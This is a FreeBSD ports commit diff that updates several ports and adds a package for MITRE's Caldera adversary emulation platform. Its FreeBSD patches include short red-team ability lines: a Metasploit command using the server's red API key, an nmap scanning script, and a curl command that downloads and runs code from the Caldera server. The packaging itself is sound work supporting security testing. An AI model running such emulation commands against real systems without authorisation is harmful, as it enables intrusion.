-SHA256 (pypdf-3.8.0.tar.gz) = aab7fd43f3f4115ac285dc4a4497ebf2c89eece24e186f3954695509d560a78e -SIZE (pypdf-3.8.0.tar.gz) = 249640 +TIMESTAMP = 1682669127 +SHA256 (pypdf-3.8.1.tar.gz) = 761ad6dc33abb78d358b4ae42206c5f185798f8b537be9b8fdecd9ee834a894d +SIZE (pypdf-3.8.1.tar.gz) = 250358 diff --git a/print/texvc/Makefile b/print/texvc/Makefile index 7bbd7d20884..fb6414e3915 100644 --- a/print/texvc/Makefile +++ b/print/texvc/Makefile @@ -1,6 +1,6 @@ PORTNAME= texvc PORTVERSION= 20050202 -PORTREVISION= 6 +PORTREVISION= 7 CATEGORIES= print MASTER_SITES= SF/wikipedia/Support%20files/${PORTNAME}%20Linux-x86%20source%20%2B%20binary DISTNAME= ${PORTNAME}-linux-x86-${PORTVERSION} diff --git a/science/ocean/Makefile b/science/ocean/Makefile index 2261bfa7109..dce490906d9 100644 --- a/science/ocean/Makefile +++ b/science/ocean/Makefile @@ -18,7 +18,7 @@ RUN_DEPENDS= abinit>0:science/abinit \ quantum-espresso>0:science/quantum-espresso USES= fortran gmake localbase perl5 shebangfix -USE_PERL5= run +USE_PERL5= build run SHEBANG_GLOB= *.pl diff --git a/science/py-moltemplate/Makefile b/science/py-moltemplate/Makefile index ec87e5eced9..94b0c75317d 100644 --- a/science/py-moltemplate/Makefile +++ b/science/py-moltemplate/Makefile @@ -1,7 +1,6 @@ PORTNAME= moltemplate DISTVERSIONPREFIX= v -DISTVERSION= 2.20.17 -PORTREVISION= 1 +DISTVERSION= 2.20.20 CATEGORIES= science python PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} @@ -10,6 +9,7 @@ COMMENT= Tool to prepare simulations of molecules, complex molecular assemblies WWW= https://www.moltemplate.org/ LICENSE= MIT +LICENSE_FILE= ${WRKSRC}/LICENSE.md BUILD_DEPENDS= ${PYTHON_PKGNAMEPREFIX}pytest-runner>0:devel/py-pytest-runner@${PY_FLAVOR} RUN_DEPENDS= ${PYNUMPY} \ @@ -31,7 +31,6 @@ BINARY_ALIAS= python3=${PYTHON_CMD} TEST_ENV= ${MAKE_ENV} PYTHONPATH=${STAGEDIR}${PYTHONPREFIX_SITELIBDIR} PATH=${STAGEDIR}${LOCALBASE}/bin:${PATH} do-test: # testsuite instructions: https://github.com/jewettaij/moltemplate/issues/65#issuecomment-1022740972 - # 1 test fails, see https://github.com/jewettaij/moltemplate/issues/86 @cd ${WRKSRC} && \ ([ -e shunit2 ] || (${MKDIR} tests/shunit2 && ${RM} tests/shunit2/shunit2 && ${LN} -s ${LOCALBASE}/bin/shunit2 tests/shunit2/shunit2)) && \ ${SETENV} ${TEST_ENV} bash tests/test_read_coords_pdb.sh && \ diff --git a/science/py-moltemplate/distinfo b/science/py-moltemplate/distinfo index 90b3131d834..ed401cb20bf 100644 --- a/science/py-moltemplate/distinfo +++ b/science/py-moltemplate/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1670184570 -SHA256 (jewettaij-moltemplate-v2.20.17_GH0.tar.gz) = 60bd4b035891a58e945b6a1c88c4cd38dcc1e442da527f0ee80168b8c9cc55f9 -SIZE (jewettaij-moltemplate-v2.20.17_GH0.tar.gz) = 8551345 +TIMESTAMP = 1682874289 +SHA256 (jewettaij-moltemplate-v2.20.20_GH0.tar.gz) = c8e34986fbb1cd7b9fffa4eaafe052a243338fa83c81462aaece6e2d0c32f46d +SIZE (jewettaij-moltemplate-v2.20.20_GH0.tar.gz) = 8554058 diff --git a/science/xcrysden/Makefile b/science/xcrysden/Makefile index 9af116de35b..e955d86e19f 100644 --- a/science/xcrysden/Makefile +++ b/science/xcrysden/Makefile @@ -1,6 +1,6 @@ PORTNAME= xcrysden PORTVERSION= 1.6.2 -PORTREVISION= 3 +PORTREVISION= 4 CATEGORIES= science MASTER_SITES= http://www.xcrysden.org/download/ diff --git a/security/Makefile b/security/Makefile index 624766505d3..939f6122d08 100644 --- a/security/Makefile +++ b/security/Makefile @@ -62,6 +62,7 @@ SUBDIR += bzrtp SUBDIR += ca_root_nss SUBDIR += caesarcipher + SUBDIR += caldera SUBDIR += calife SUBDIR += cardpeek SUBDIR += cargo-audit @@ -898,6 +899,7 @@ SUBDIR += py-fail2ban SUBDIR += py-fido2 SUBDIR += py-first-server + SUBDIR += py-flask-bcrypt SUBDIR += py-flask-httpauth SUBDIR += py-flask-kerberos SUBDIR += py-flask-saml @@ -913,6 +915,14 @@ SUBDIR += py-gvm-tools SUBDIR += py-hkdf SUBDIR += py-htpasswd + SUBDIR += py-iris-check-module + SUBDIR += py-iris-client + SUBDIR += py-iris-evtx-module + SUBDIR += py-iris-intelowl-module + SUBDIR += py-iris-misp-module + SUBDIR += py-iris-module-interface + SUBDIR += py-iris-vt-module + SUBDIR += py-iris-webhooks-module SUBDIR += py-itsdangerous SUBDIR += py-josepy SUBDIR += py-keepkey diff --git a/security/boringssl/Makefile b/security/boringssl/Makefile index d3e90ae7611..2d1f80f6687 100644 --- a/security/boringssl/Makefile +++ b/security/boringssl/Makefile @@ -1,6 +1,17 @@ PORTNAME= boringssl PORTVERSION= 0.0.0.0.2023.04.26.01 +PORTREVISION= 1 CATEGORIES= security +MASTER_SITES+= https://proxy.golang.org/:gomods +DISTFILES+= golang.org/x/crypto/@v/v0.6.0.zip:gomods \ + golang.org/x/crypto/@v/v0.6.0.mod:gomods \ + golang.org/x/net/@v/v0.7.0.zip:gomods \ + golang.org/x/net/@v/v0.7.0.mod:gomods \ + golang.org/x/sys/@v/v0.5.0.zip:gomods \ + golang.org/x/sys/@v/v0.5.0.mod:gomods \ + golang.org/x/term/@v/v0.5.0.zip:gomods \ + golang.org/x/term/@v/v0.5.0.mod:gomods +EXTRACT_ONLY= ${GH_ACCOUNT}-${PORTNAME}-${PORTVERSION}-${GH_TAGNAME}_GH0.tar.gz MAINTAINER= osa@FreeBSD.org COMMENT= Fork of OpenSSL @@ -19,18 +30,13 @@ CPE_VENDOR= google USE_GITHUB= yes GH_ACCOUNT= google GH_TAGNAME= a02b743 -GH_TUPLE= golang:crypto:v0.6.0:golang_crypto/vendor/golang.org/x/crypto \ - golang:net:v0.7.0:golang_net/vendor/golang.org/x/net \ - golang:sys:v0.5.0:golang_sys/vendor/golang.org/x/sys \ - golang:term:v0.5.0:golang_term/vendor/golang.org/x/term CMAKE_ARGS+= -DBUILD_SHARED_LIBS=1 \ -DCMAKE_BUILD_TYPE=Release USE_LDCONFIG= yes LDFLAGS+= -Wl,-rpath,${LOCALBASE}/lib TEST_TARGET= run_tests -MAKE_ENV+= GOFLAGS=-mod=mod \ - GOPATH=${WRKSRC}/vendor \ - GOPROXY=off +MAKE_ENV+= GOFLAGS=-mod=readonly \ + GOPROXY=file://${DISTDIR} do-install: ${INSTALL_PROGRAM} ${WRKSRC}/tool/bssl ${STAGEDIR}${PREFIX}/bin/ diff --git a/security/boringssl/distinfo b/security/boringssl/distinfo index 747f6e6a14a..573594c2c37 100644 --- a/security/boringssl/distinfo +++ b/security/boringssl/distinfo @@ -1,11 +1,19 @@ -TIMESTAMP = 1682628690 +TIMESTAMP = 1682726879 +SHA256 (golang.org/x/crypto/@v/v0.6.0.zip) = 81ca88af371cff5a84442ba28e23d8f42ccc1387c8fe152e55e87ba4af9e1ac7 +SIZE (golang.org/x/crypto/@v/v0.6.0.zip) = 1761232 +SHA256 (golang.org/x/crypto/@v/v0.6.0.mod) = 1b6a683455a3b882b6ac53f22752960e87bd91040a94d6f2c5cb61261e2389d8 +SIZE (golang.org/x/crypto/@v/v0.6.0.mod) = 171 +SHA256 (golang.org/x/net/@v/v0.7.0.zip) = 060552064526a90ac9b0bdce2ba0ab34592decc9428d1441c3c9722f853cd290 +SIZE (golang.org/x/net/@v/v0.7.0.zip) = 1559354 +SHA256 (golang.org/x/net/@v/v0.7.0.mod) = 41ec76ea2172f3ee3031e38f9a535939a584d6bb35ef480854fdcb8c2026701b +SIZE (golang.org/x/net/@v/v0.7.0.mod) = 123 +SHA256 (golang.org/x/sys/@v/v0.5.0.zip) = cf47336ac1bf675fa6d6dd5ac5399b0143c513404c449fa3f3380a58123c7908 +SIZE (golang.org/x/sys/@v/v0.5.0.zip) = 1886681 +SHA256 (golang.org/x/sys/@v/v0.5.0.mod) = f033333096fe198f3151deed93f2deba74e50bbfe7739134045bc3b7ce4a5024 +SIZE (golang.org/x/sys/@v/v0.5.0.mod) = 33 +SHA256 (golang.org/x/term/@v/v0.5.0.zip) = 7d89c49ab41306950128a0f4b7c67fb8e2d2f637ece8e024e6cf38d17a33193b +SIZE (golang.org/x/term/@v/v0.5.0.zip) = 19924 +SHA256 (golang.org/x/term/@v/v0.5.0.mod) = 0d6f58228aadc1a6528e6755da018516566e3ae5c5201f7ade1773f56fa8d934 +SIZE (golang.org/x/term/@v/v0.5.0.mod) = 67 SHA256 (google-boringssl-0.0.0.0.2023.04.26.01-a02b743_GH0.tar.gz) = 554f4146ab282beb07cd5b4ca260b68adcbbeb81145443a74984ad55d7d9ff95 SIZE (google-boringssl-0.0.0.0.2023.04.26.01-a02b743_GH0.tar.gz) = 32280592 -SHA256 (golang-crypto-v0.6.0_GH0.tar.gz) = abdd55e246751307493aac73d787c38953814668cf13a3dd73b600050e7b5058 -SIZE (golang-crypto-v0.6.0_GH0.tar.gz) = 1633588 -SHA256 (golang-net-v0.7.0_GH0.tar.gz) = 4949a0dbdd3c200c8681c18bebd65c8e8b620470189361dac05c89c714d9a59b -SIZE (golang-net-v0.7.0_GH0.tar.gz) = 1241017 -SHA256 (golang-sys-v0.5.0_GH0.tar.gz) = 810c8f1b7704674971ab6b2b614aba20a5a1765018fd2c639f528dbbcbf88b1f -SIZE (golang-sys-v0.5.0_GH0.tar.gz) = 1429723 -SHA256 (golang-term-v0.5.0_GH0.tar.gz) = a363183f934f45cb7a0b2fef46105e3e1983cd56bb3070a1a8b227e3276c74d3 -SIZE (golang-term-v0.5.0_GH0.tar.gz) = 14799 diff --git a/security/boringssl/files/patch-crypto_CMakeLists.txt b/security/boringssl/files/patch-crypto_CMakeLists.txt index 2e772b4f50b..6af61b5e7a9 100644 --- a/security/boringssl/files/patch-crypto_CMakeLists.txt +++ b/security/boringssl/files/patch-crypto_CMakeLists.txt @@ -1,6 +1,6 @@ ---- crypto/CMakeLists.txt.orig 2023-02-17 15:48:48.305900000 -0500 -+++ crypto/CMakeLists.txt 2023-02-17 15:48:53.117159000 -0500 -@@ -423,3 +423,5 @@ +--- crypto/CMakeLists.txt.orig 2023-04-26 21:06:18 UTC ++++ crypto/CMakeLists.txt +@@ -426,3 +426,5 @@ add_executable( ) target_link_libraries(crypto_test test_support_lib boringssl_gtest_main crypto) add_dependencies(all_tests crypto_test) diff --git a/security/boringssl/files/patch-ssl_CMakeLists.txt b/security/boringssl/files/patch-ssl_CMakeLists.txt index 848ebf9197b..e87e3fb4049 100644 --- a/security/boringssl/files/patch-ssl_CMakeLists.txt +++ b/security/boringssl/files/patch-ssl_CMakeLists.txt @@ -1,6 +1,6 @@ ---- ssl/CMakeLists.txt.orig 2023-02-17 15:49:44.924011000 -0500 -+++ ssl/CMakeLists.txt 2023-02-17 15:49:50.939101000 -0500 -@@ -55,3 +55,5 @@ +--- ssl/CMakeLists.txt.orig 2023-04-26 21:06:18 UTC ++++ ssl/CMakeLists.txt +@@ -55,3 +55,5 @@ add_executable( ) target_link_libraries(ssl_test test_support_lib boringssl_gtest_main ssl crypto) add_dependencies(all_tests ssl_test) diff --git a/security/boringssl/pkg-descr b/security/boringssl/pkg-descr index 1980d187b86..49a33d47a3a 100644 --- a/security/boringssl/pkg-descr +++ b/security/boringssl/pkg-descr @@ -1 +1,6 @@ -Fork of OpenSSL that is designed to meet Google's needs +Fork of OpenSSL that is designed to meet Google's needs. + +Although BoringSSL is an open source project, it is not intended for general +use, as OpenSSL is. We don't recommend that third parties depend upon it. +Doing so is likely to be frustrating because there are no guarantees of API +or ABI stability. diff --git a/security/caldera/Makefile b/security/caldera/Makefile new file mode 100644 index 00000000000..8648038da27 --- /dev/null +++ b/security/caldera/Makefile @@ -0,0 +1,95 @@ +PORTNAME= caldera +DISTVERSION= 4.1.0 +CATEGORIES= security python + +MAINTAINER= acm@FreeBSD.org +COMMENT= Automated Adversary Emulation Platform +WWW= https://github.com/mitre/caldera + +LICENSE= APACHE20 +LICENSE_FILE= ${WRKSRC}/LICENSE + +RUN_DEPENDS= ${PYTHON_PKGNAMEPREFIX}aiohttp>0:www/py-aiohttp@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}aiohttp-jinja2>0:www/py-aiohttp-jinja2@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}aiohttp-session>0:www/py-aiohttp-session@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}aiohttp-security>0:security/py-aiohttp-security@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}aiohttp-apispec>0:devel/py-aiohttp-apispec@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}Jinja2>0:devel/py-Jinja2@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}yaml>0:devel/py-yaml@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}cryptography>0:security/py-cryptography@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}websockets>0:devel/py-websockets@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}sphinx>0:textproc/py-sphinx@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}docutils>0:textproc/py-docutils@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}sphinx_rtd_theme>0:textproc/py-sphinx_rtd_theme@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}myst-parser>0:textproc/py-myst-parser@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}marshmallow>0:devel/py-marshmallow@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}dirhash>0:security/py-dirhash@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}docker>0:sysutils/py-docker@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}donut-shellcode>0:devel/py-donut-shellcode@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}marshmallow-enum>0:devel/py-marshmallow-enum@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}ldap3>0:net/py-ldap3@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}lxml>0:devel/py-lxml@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}reportlab>0:print/py-reportlab@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}svglib>0:converters/py-svglib@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}markdown>0:textproc/py-markdown@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}dnspython>0:dns/py-dnspython@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}asyncssh>0:security/py-asyncssh@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}aioftp>0:ftp/py-aioftp@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}pyautogui>0:x11/py-pyautogui@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}selenium>0:www/py-selenium@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}webdriver_manager>0:www/py-webdriver_manager@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}beautifulsoup>0:www/py-beautifulsoup@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}networkx>0:math/py-networkx@${PY_FLAVOR} \ + ${PYTHON_PKGNAMEPREFIX}numpy>0:math/py-numpy@${PY_FLAVOR} \ + upx>0:archivers/upx \ + git>0:devel/git \ + bash>0:shells/bash + +USE_GITHUB= yes +GH_ACCOUNT= mitre +GH_PROJECT= ${PORTNAME} +GH_TUPLE= mitre:access:fff4c20:access/plugins/access \ + mitre:atomic:9e2c958:atomic/plugins/atomic \ + mitre:builder:1aca019:builder/plugins/builder \ + mitre:compass:fb88e02:compass/plugins/compass \ + mitre:debrief:d815b60:debrief/plugins/debrief \ + mitre:emu:5dbff82:emu/plugins/emu \ + mitre:fieldmanual:510d0b9:fieldmanual/plugins/fieldmanual \ + mitre:gameboard:3d98c32:gameboard/plugins/gameboard \ + mitre:human:4368dea:human/plugins/human \ + mitre:manx:e7205ea:manx/plugins/manx \ + mitre:mock:4ea3337:mock/plugins/mock \ + mitre:response:889213a:response/plugins/response \ + mitre:sandcat:de3405f:sandcat/plugins/sandcat \ + mitre:ssl:ac5bfcb:ssl/plugins/ssl \ + mitre:stockpile:9662f27:stockpile/plugins/stockpile \ + mitre:training:e309b0f:training/plugins/training + +USES= go:run python:3.8+ + +NO_ARCH= yes +NO_BUILD= yes + +USE_RC_SUBR= ${PORTNAME:S/-/_/} +SUB_FILES= pkg-message +SUB_LIST= PYTHON_CMD=${PYTHON_CMD} \ + WWWDIR=${WWWDIR} + +OPTIONS_DEFINE= HAPROXY +OPTIONS_DEFAULT=HAPROXY +HAPROXY_DESC= Support for HTTPS +HAPROXY_RUN_DEPENDS=haproxy18>0:net/haproxy18 + +post-extract: + ${RM} -R ${WRKSRC}/.github + cd ${WRKSRC} && ${RM} .coveragerc .dockerignore .eslintrc.js .flake8 \ + .git* .pre* .stylelintrc.json Dockerfile + +post-patch: + cd ${WRKSRC} && \ + ${FIND} . -type f -name "*.orig" -exec ${RM} "{}" \; + +do-install: + @cd ${WRKSRC} && ${COPYTREE_SHARE} . ${STAGEDIR}/${WWWDIR} + +.include diff --git a/security/caldera/distinfo b/security/caldera/distinfo new file mode 100644 index 00000000000..d9ca85b369c --- /dev/null +++ b/security/caldera/distinfo @@ -0,0 +1,35 @@ +TIMESTAMP = 1681965363 +SHA256 (mitre-caldera-4.1.0_GH0.tar.gz) = 342516c29926dbd7e96bc2ba1558779d5ee423eac97a4c48d0245d7480a790eb +SIZE (mitre-caldera-4.1.0_GH0.tar.gz) = 3462547 +SHA256 (mitre-access-fff4c20_GH0.tar.gz) = 087dd5de918c5a2a5a73888abb3839e6d43335ac5f26ee739038813631a24358 +SIZE (mitre-access-fff4c20_GH0.tar.gz) = 8485 +SHA256 (mitre-atomic-9e2c958_GH0.tar.gz) = 0fbd0c3bb2c3c621afcb8f271b76df0f6ac2bacd72a7f8d9771c94b9a3f5d085 +SIZE (mitre-atomic-9e2c958_GH0.tar.gz) = 15142 +SHA256 (mitre-builder-1aca019_GH0.tar.gz) = 563c54beed985b11edb96c7ec3a8349f8328a6534750801fa71693ed1cf34346 +SIZE (mitre-builder-1aca019_GH0.tar.gz) = 7946 +SHA256 (mitre-compass-fb88e02_GH0.tar.gz) = 6187446551f4041ac0a0c33689b4a62a39a02b285d988bd6f17647d89d98ce16 +SIZE (mitre-compass-fb88e02_GH0.tar.gz) = 5907 +SHA256 (mitre-debrief-d815b60_GH0.tar.gz) = 565e234e52157b6259752c474c40eaa96f15921595f299cbd7875f4bc51e73aa +SIZE (mitre-debrief-d815b60_GH0.tar.gz) = 4419572 +SHA256 (mitre-emu-5dbff82_GH0.tar.gz) = 45b980caf2b9a59d1d9f4bba69334e1b74f036ae667bc510dfc1422ef58829d9 +SIZE (mitre-emu-5dbff82_GH0.tar.gz) = 16962 +SHA256 (mitre-fieldmanual-510d0b9_GH0.tar.gz) = d908a6f0eb4bf8295bc6c92e23aae5984bcd2006069af9ed880978b76c7c0984 +SIZE (mitre-fieldmanual-510d0b9_GH0.tar.gz) = 7811262 +SHA256 (mitre-gameboard-3d98c32_GH0.tar.gz) = 8415bbbc64fe78836afea2e364fe655cc364a5d70dcf3fbcb748617fc9b9ad0a +SIZE (mitre-gameboard-3d98c32_GH0.tar.gz) = 14753 +SHA256 (mitre-human-4368dea_GH0.tar.gz) = 4710f3d6c7b3f728274187c36cda53232b3609d8177ccad6b1968ae99d83724a +SIZE (mitre-human-4368dea_GH0.tar.gz) = 22846 +SHA256 (mitre-manx-e7205ea_GH0.tar.gz) = 5b39a00ff8bbe7b20d4cfcab6161edbbafd94fa9bd62af4741975f7759f7a470 +SIZE (mitre-manx-e7205ea_GH0.tar.gz) = 7352820 +SHA256 (mitre-mock-4ea3337_GH0.tar.gz) = 36447c30cdff3869796948bff8940b24e710f242e70255578095a10df4d0c5db +SIZE (mitre-mock-4ea3337_GH0.tar.gz) = 5470 +SHA256 (mitre-response-889213a_GH0.tar.gz) = 4067efd0c4bddeed799255838a80316d96ba0c4cac84625d7d0257e44c00c4ee +SIZE (mitre-response-889213a_GH0.tar.gz) = 24463 +SHA256 (mitre-sandcat-de3405f_GH0.tar.gz) = dbb111552220d6f108f852f3d442dcc90d3457c488fbec3f176a4638a611cd56 +SIZE (mitre-sandcat-de3405f_GH0.tar.gz) = 7564017 +SHA256 (mitre-ssl-ac5bfcb_GH0.tar.gz) = 01067db5fe9a32d07d13bbea4ffb6f3bd2907a57f2d50a7c7e9c5f2bdc823a12 +SIZE (mitre-ssl-ac5bfcb_GH0.tar.gz) = 6395 +SHA256 (mitre-stockpile-9662f27_GH0.tar.gz) = ab74994666c6759261346bb0c7a653dde5982273d04afd18eb26e7d57c78210c +SIZE (mitre-stockpile-9662f27_GH0.tar.gz) = 4777470 +SHA256 (mitre-training-e309b0f_GH0.tar.gz) = 505d4d4447c9d35e2062064abe1d689f7bc92c818ccb450848e6e57619c24375 +SIZE (mitre-training-e309b0f_GH0.tar.gz) = 492099 diff --git a/security/caldera/files/caldera.in b/security/caldera/files/caldera.in new file mode 100644 index 00000000000..aaedbb017d7 --- /dev/null +++ b/security/caldera/files/caldera.in @@ -0,0 +1,84 @@ +#!/bin/sh + +# PROVIDE: caldera +# REQUIRE: NETWORKING +# KEYWORD: shutdown +# +# Configuration settings for caldera in /etc/rc.conf: +# +# caldera_enable: run caldera as service (default=NO) +# caldera_flags: additional flags for caldera server +# + +. /etc/rc.subr + +name=caldera +rcvar=caldera_enable + +load_rc_config ${name} + +export PATH="${PATH}:/usr/local/bin:/usr/local/sbin" + +: ${caldera_enable:=NO} +: ${caldera_flags="--insecure"} + +caldera_user="www" + +pidfile="/var/run/${name}.pid" + +caldera_wwwdir="%%WWWDIR%%" +python_command="%%PYTHON_CMD%%" +python_script="${caldera_wwwdir}/server.py" +start_cmd=${name}_start +status_cmd=${name}_status +stop_cmd=${name}_stop +restart_cmd=${name}_restart +extra_commands="status" + +caldera_start() +{ + if [ ! -f ${pidfile} ] + then + cd ${caldera_wwwdir} && \ + daemon -u ${caldera_user} -p ${pidfile} -t ${name} -o /var/log/caldera.log \ + ${python_command} ${python_script} \ + ${caldera_flags} + + echo "Starting ${name}" + else + echo "${name} is running as pid" `cat ${pidfile}` + fi +} + +caldera_status() +{ + # If running, show pid + if [ -f ${pidfile} ] + then + echo "${name} is running as pid" `cat ${pidfile}` + else + echo "${name} is not running" + fi +} + +caldera_stop() +{ + if [ -f ${pidfile} ] + then + kill `cat ${pidfile}` + rm ${pidfile} + echo "Stopping ${name}" + else + echo "${name} not running? (check ${pidfile})." + fi +} + +caldera_restart() +{ + echo "Performing restart ${name}" + caldera_stop + sleep 3 + caldera_start +} + +run_rc_command "$1" diff --git a/security/caldera/files/patch-plugins_access_data_abilities_build-capabilities_bed8f28e-c0ed-463e-9e31-d5607e5473df.yml b/security/caldera/files/patch-plugins_access_data_abilities_build-capabilities_bed8f28e-c0ed-463e-9e31-d5607e5473df.yml new file mode 100644 index 00000000000..c0bc8a3c91e --- /dev/null +++ b/security/caldera/files/patch-plugins_access_data_abilities_build-capabilities_bed8f28e-c0ed-463e-9e31-d5607e5473df.yml @@ -0,0 +1,11 @@ +--- plugins/access/data/abilities/build-capabilities/bed8f28e-c0ed-463e-9e31-d5607e5473df.yml.orig 2021-10-01 14:07:40 UTC ++++ plugins/access/data/abilities/build-capabilities/bed8f28e-c0ed-463e-9e31-d5607e5473df.yml +@@ -7,7 +7,7 @@ + name: Build or acquire exploits + attack_id: T1349 + platforms: +- darwin,linux: ++ darwin,freebsd,linux: + sh: + command: | + msfconsole -r msf_extract.rc #{app.contact.http} #{app.api_key.red} diff --git a/security/caldera/files/patch-plugins_access_data_abilities_technical-information-gathering_567eaaba-94cc-4a27-83f8-768e5638f4e1.yml b/security/caldera/files/patch-plugins_access_data_abilities_technical-information-gathering_567eaaba-94cc-4a27-83f8-768e5638f4e1.yml new file mode 100644 index 00000000000..f7304f2ee2a --- /dev/null +++ b/security/caldera/files/patch-plugins_access_data_abilities_technical-information-gathering_567eaaba-94cc-4a27-83f8-768e5638f4e1.yml @@ -0,0 +1,11 @@ +--- plugins/access/data/abilities/technical-information-gathering/567eaaba-94cc-4a27-83f8-768e5638f4e1.yml.orig 2021-10-01 14:07:40 UTC ++++ plugins/access/data/abilities/technical-information-gathering/567eaaba-94cc-4a27-83f8-768e5638f4e1.yml +@@ -7,7 +7,7 @@ + name: Conduct active scanning + attack_id: T1254 + platforms: +- darwin,linux: ++ darwin,freebsd,linux: + sh: + command: | + ./scanner.sh #{target.ip} diff --git a/security/caldera/files/patch-plugins_access_data_payloads_scanner.sh b/security/caldera/files/patch-plugins_access_data_payloads_scanner.sh new file mode 100644 index 00000000000..acdadfff6d4 --- /dev/null +++ b/security/caldera/files/patch-plugins_access_data_payloads_scanner.sh @@ -0,0 +1,11 @@ +--- plugins/access/data/payloads/scanner.sh.orig 2021-10-01 14:07:40 UTC ++++ plugins/access/data/payloads/scanner.sh +@@ -1,5 +1,5 @@ +-#!/bin/bash ++#!/bin/sh + + echo '[+] Starting basic NMAP scan' + nmap -Pn $1 +-echo '[+] Complete with module' +\ No newline at end of file ++echo '[+] Complete with module' diff --git a/security/caldera/files/patch-plugins_atomic_app_atomic__svc.py b/security/caldera/files/patch-plugins_atomic_app_atomic__svc.py new file mode 100644 index 00000000000..abc3e67c6cc --- /dev/null +++ b/security/caldera/files/patch-plugins_atomic_app_atomic__svc.py @@ -0,0 +1,11 @@ +--- plugins/atomic/app/atomic_svc.py.orig 2022-08-11 15:59:49 UTC ++++ plugins/atomic/app/atomic_svc.py +@@ -13,7 +13,7 @@ from app.utility.base_world import BaseWorld + from app.utility.base_service import BaseService + from app.objects.c_agent import Agent + +-PLATFORMS = dict(windows='windows', macos='darwin', linux='linux') ++PLATFORMS = dict(windows='windows', macos='darwin', linux='linux', freebsd='freebsd') + EXECUTORS = dict(command_prompt='cmd', sh='sh', powershell='psh', bash='sh') + RE_VARIABLE = re.compile('(#{(.*?)})', re.DOTALL) + PREFIX_HASH_LEN = 6 diff --git a/security/caldera/files/patch-plugins_emu_app_emu__svc.py b/security/caldera/files/patch-plugins_emu_app_emu__svc.py new file mode 100644 index 00000000000..38eb16d8518 --- /dev/null +++ b/security/caldera/files/patch-plugins_emu_app_emu__svc.py @@ -0,0 +1,11 @@ +--- plugins/emu/app/emu_svc.py.orig 2022-06-12 20:12:01 UTC ++++ plugins/emu/app/emu_svc.py +@@ -12,7 +12,7 @@ from app.utility.base_service import BaseService + + + class EmuService(BaseService): +- _dynamicically_compiled_payloads = {'sandcat.go-linux', 'sandcat.go-darwin', 'sandcat.go-windows'} ++ _dynamicically_compiled_payloads = {'sandcat.go-linux', 'sandcat.go-darwin', 'sandcat.go-windows', 'sandcat.go-freebsd'} + + def __init__(self): + self.log = self.add_service('emu_svc', self) diff --git a/security/caldera/files/patch-plugins_gameboard_app_gameboard__api.py b/security/caldera/files/patch-plugins_gameboard_app_gameboard__api.py new file mode 100644 index 00000000000..7121866698a --- /dev/null +++ b/security/caldera/files/patch-plugins_gameboard_app_gameboard__api.py @@ -0,0 +1,11 @@ +--- plugins/gameboard/app/gameboard_api.py.orig 2021-12-22 15:33:52 UTC ++++ plugins/gameboard/app/gameboard_api.py +@@ -244,7 +244,7 @@ class GameboardApi(BaseService): + reference_ability = (await self.data_svc.locate('abilities', match=dict(ability_id='bf565e6a-0037-4aa4-852f-1afa222c76db')))[0] #TODO: replace + ability_id = str(uuid.uuid4()) + executors = [] +- for pl in ['windows', 'darwin', 'linux']: ++ for pl in ['windows', 'darwin', 'linux', 'freebsd']: + reference_executor = reference_ability.find_executor('elasticsearch', pl) + if not reference_executor: + continue diff --git a/security/caldera/files/patch-plugins_human_templates_human.html b/security/caldera/files/patch-plugins_human_templates_human.html new file mode 100644 index 00000000000..9bc604e5812 --- /dev/null +++ b/security/caldera/files/patch-plugins_human_templates_human.html @@ -0,0 +1,40 @@ +--- plugins/human/templates/human.html.orig 2022-09-06 17:33:12 UTC ++++ plugins/human/templates/human.html +@@ -60,6 +60,7 @@ + +@@ -257,6 +258,11 @@ + ' && virtualenv -p python3 \''+humanName+'\' && \''+humanName+'/bin/pip\' install -r \''+humanName+'/requirements.txt\' && \''+humanName+'/bin/python\' \''+humanName+'/human.py\' --clustersize '+taskCount+' ' + + '--taskinterval '+taskInterval+' --taskgroupinterval '+taskClusterInterval+' --extra '+extra; + break; ++ case "freebsd": ++ baseHuman = 'curl -sk -o \''+humanName+'.tar.gz\' -X POST -H \'file:'+humanName+'.tar.gz\' '+http+'/file/download 2>&1 && mkdir \''+humanName+'\' && tar -C \''+humanName+'\' -zxvf \''+humanName+'.tar.gz\' ' + ++ ' && virtualenv -p python3.9 \''+humanName+'\' && \''+humanName+'/bin/pip\' install -r \''+humanName+'/requirements.txt\' && \''+humanName+'/bin/python\' \''+humanName+'/human.py\' --clustersize '+taskCount+' ' + ++ '--taskinterval '+taskInterval+' --taskgroupinterval '+taskClusterInterval+' --extra '+extra; ++ break; + case "linux": + baseHuman = 'curl -sk -o \''+humanName+'.tar.gz\' 